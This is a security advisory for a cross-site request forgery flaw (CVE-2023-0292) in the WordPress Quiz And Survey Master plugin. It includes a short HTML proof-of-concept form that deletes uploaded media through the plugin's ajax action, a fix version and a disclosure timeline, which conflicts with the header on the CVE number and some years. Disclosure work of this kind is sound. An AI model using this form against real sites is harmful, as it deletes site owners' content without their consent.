WordPress Quiz And Survey Master 8.0.8 Cross Site Request Forgery

WordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a cross site request forgery vulnerability.


SHA-256 | 078ea2f052b0bdbecbdbb86ff5abadf7af3ecef36acd21e345034b86b58c3b8e

RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product: Quiz And Survey Master
Vendor URL: https://wordpress.org/plugins/quiz-master-next/
Type: Cross-Site Request Forgery (CSRF) [CWE-352]
Date found: 2023-01-13
Date published: 2023-02-08
CVSSv3 Score: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
CVE: CVE-2023-0292


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Quiz And Survey Master 8.0.8 and below


4. INTRODUCTION
===============
Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used
to create engaging content to drive traffic and increase user engagement.
Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee
surveys. This plugin is the ultimate marketing tool for your website.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The plugin offers the ajax action "qsm_remove_file_fd_question" which is used to
delete uploaded media contents from the WordPress instance. However, the
functionality is not protected by an anti-CSRF token/nonce.

Since there is no anti-CSRF token protecting this functionality, it is vulnerable
to Cross-Site Request Forgery attacks allowing an attacker to delete uploaded
media contents on behalf of the attacked user.

To successfully exploit this vulnerability, a user with the right to access the
plugin must be tricked into visiting an arbitrary website while having an
authenticated session in the application.


6. PROOF OF CONCEPT
===================
The following Proof-of-Concept would delete the uploaded media with the ID "1":

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="qsm_remove_file_fd_question" />
<input type="hidden" name="media_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


7. SOLUTION
===========
Update to version 8.0.9


8. REPORT TIMELINE
==================
2023-01-13: Discovery of the vulnerability
2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291
2023-01-18: Sent initial notification to vendor via contact form
2022-01-18: Vendor response
2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability
2022-02-08: Public disclosure


9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

Related Posts